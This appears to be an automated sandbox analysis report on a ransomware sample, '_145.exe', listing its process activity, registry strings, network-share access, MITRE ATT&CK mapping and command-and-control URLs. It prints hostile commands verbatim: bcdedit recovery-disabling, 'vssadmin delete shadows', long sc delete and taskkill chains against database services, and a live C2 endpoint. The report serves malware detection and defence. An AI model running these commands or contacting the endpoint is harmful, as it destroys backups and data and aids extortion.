Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no

Source: _145.exe

Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s|%s|%s|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM*-NO-TAGAES-192-CCM*-NO-TAGAES-256-CCM*-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM*-NO-TAGCAMELLIA-192-CCM*-NO-TAGCAMELLIA-256-CCM*-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM*-NO-TAGARIA-192-CCM*-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Source: C:\Users\user\Desktop\_145.exe

File created: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt

Jump to behavior

Source: C:\Users\user\Desktop\_145.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\_145.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -1800000s >= -30000s
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -3600000s >= -30000s
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -7200000s >= -30000s
Source: C:\Users\user\Desktop\_145.exe TID: 6408	Thread sleep time: -18000000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 1800000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 3600000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 7200000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 18000000

Source: C:\Users\user\Desktop\_145.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 1800000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 3600000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 7200000
Source: C:\Users\user\Desktop\_145.exe	Thread delayed: delay time: 18000000

Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\Users\user\Desktop FullSizeInformation
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: \Device\CdRom0\ FullSizeInformation
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\_145.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\
Source: C:\Users\user\Desktop\_145.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\Cache\

Source: _145.exe, 00000000.00000003.2110067734.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245047160.0000000004E7B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2095863535.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146871586.0000000004E7B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2996841089.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2247133630.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091274630.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2121227815.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2258059115.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2276294552.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2908080429.0000000004E74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: _145.exe, 00000000.00000003.2058863822.000000000469F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\h

Source: C:\Users\user\Desktop\_145.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c sc delete "mssqlfdlauncher"&&sc delete "mssqlserver"&&sc delete "sqlserveragent"&&sc delete "sqlbrowser"&&sc delete "sqltelemetry"&&sc delete "msdtsserver130"&&sc delete "ssistelemetry130"&&sc delete "sqlwriter"&&sc delete "mssql$veeamsql2012"&&sc delete "sqlagent$veeamsql2012"&&sc delete "mssql"&&sc delete "sqlagent"&&sc delete "mssqlserveradhelper100"&&sc delete "mssqlserverolapservice"&&sc delete "msdtsserver100"&&sc delete "reportserver"&&sc delete "sqltelemetry$hl"&&sc delete "tmbmserver"&&sc delete "mssql$progid"&&sc delete "mssql$wolterskluwer"&&sc delete "sqlagent$progid"&&sc delete "sqlagent$wolterskluwer"&&sc delete "mssqlfdlauncher$optima"&&sc delete "mssql$optima"&&sc delete "sqlagent$optima"&&sc delete "reportserver$optima"&&sc delete "msftesql$sqlexpress"&&sc delete "postgresql-x64-9.4"&&rem kill "sql"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im msdtssrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im ssms.exe&&taskkill -f -im sqlagent.exe&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im reportingservicesservice.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c sc delete "mssqlfdlauncher"&&sc delete "mssqlserver"&&sc delete "sqlserveragent"&&sc delete "sqlbrowser"&&sc delete "sqltelemetry"&&sc delete "msdtsserver130"&&sc delete "ssistelemetry130"&&sc delete "sqlwriter"&&sc delete "mssql$veeamsql2012"&&sc delete "sqlagent$veeamsql2012"&&sc delete "mssql"&&sc delete "sqlagent"&&sc delete "mssqlserveradhelper100"&&sc delete "mssqlserverolapservice"&&sc delete "msdtsserver100"&&sc delete "reportserver"&&sc delete "sqltelemetry$hl"&&sc delete "tmbmserver"&&sc delete "mssql$progid"&&sc delete "mssql$wolterskluwer"&&sc delete "sqlagent$progid"&&sc delete "sqlagent$wolterskluwer"&&sc delete "mssqlfdlauncher$optima"&&sc delete "mssql$optima"&&sc delete "sqlagent$optima"&&sc delete "reportserver$optima"&&sc delete "msftesql$sqlexpress"&&sc delete "postgresql-x64-9.4"&&rem kill "sql"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im msdtssrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im ssms.exe&&taskkill -f -im sqlagent.exe&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im reportingservicesservice.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"

Source: C:\Users\user\Desktop\_145.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt VolumeInformation

Source: C:\Users\user\Desktop\_145.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Opens network shares

Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\admin$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\admin$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\c$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\224.0.0.22\c$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\admin$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\admin$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\c$\ozon.exe
Source: C:\Users\user\Desktop\_145.exe	File opened: \\192.168.2.1\c$\ozon.exe

Source: C:\Users\user\Desktop\_145.exe	Directory queried: C:\Documents and Settings
Source: C:\Users\user\Desktop\_145.exe	Directory queried: C:\Documents and Settings

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	1 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	1 Masquerading	11 Input Capture	1 Network Share Discovery	1 Replication Through Removable Media	11 Input Capture	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	1 Service Execution	1 Bootkit	11 Process Injection	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 Inhibit System Recovery
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Hidden Files and Directories	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Bootkit	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	12 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
_145.exe	76%	ReversingLabs	Win32.Ransomware.GarrantDecrypt
_145.exe	100%	Avira	HEUR/AGEN.1319003

Source	Detection	Scanner	Label
http://91.215.85.142/QWEwqdsvsf/ap.phpx	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpr	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpC:	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpnQ	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpE	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.php?	100%	Avira URL Cloud	malware
http://api.ipify.orgx32x64%s	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpP	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpM	100%	Avira URL Cloud	malware
http://91.215.85.142/	100%	Avira URL Cloud	malware
https://api.pJ;	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.phpf	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.php_	100%	Avira URL Cloud	malware
https://d.docs.live.net	0%	Avira URL Cloud	safe
http://91.215.85.142/QWEwqdsvsf/ap.php	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpata	100%	Avira URL Cloud	malware
https://petrol.offi;	0%	Avira URL Cloud	safe
http://91.215.85.142/ows	100%	Avira URL Cloud	malware
http://91.215.85.142/RS	100%	Avira URL Cloud	malware
http://91.215.85.142/QWEwqdsvsf/ap.phpj	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api4.ipify.org	173.231.16.77	true	false		high
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://91.215.85.142/QWEwqdsvsf/ap.php	true	Avira URL Cloud: malware	unknown
http://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://91.215.85.142/QWEwqdsvsf/ap.phpx	_145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2138463076.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpnQ	_145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168413825.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpr	_145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146130235.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146593085.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	_145.exe	true	Avira URL Cloud: malware	unknown
http://91.215.85.142/QWEwqdsvsf/ap.php?	_145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3026631650.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2248365883.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2994950360.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.torproject.org/download/	_145.exe, HOW TO BACK FILES.txt571.0.dr, HOW TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.txt5.0.dr, HOW TO BACK FILES.txt974.0.dr, HOW TO BACK FILES.txt881.0.dr, HOW TO BACK FILES.txt13.0.dr, HOW TO BACK FILES.txt948.0.dr, HOW TO BACK FILES.txt624.0.dr, HOW TO BACK FILES.txt317.0.dr, HOW TO BACK FILES.txt323.0.dr, HOW TO BACK FILES.txt50.0.dr, HOW TO BACK FILES.txt366.0.dr, HOW TO BACK FILES.txt828.0.dr, HOW TO BACK FILES.txt169.0.dr, HOW TO BACK FILES.txt413.0.dr, HOW TO BACK FILES.txt882.0.dr, HOW TO BACK FILES.txt370.0.dr, HOW TO BACK FILES.txt307.0.dr, HOW TO BACK FILES.txt369.0.dr, HOW TO BACK FILES.txt773.0.dr	false		high
http://91.215.85.142/QWEwqdsvsf/ap.phpE	_145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://login.windows-ppe.net	D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	false		high
http://91.215.85.142/QWEwqdsvsf/ap.phpC:	_145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
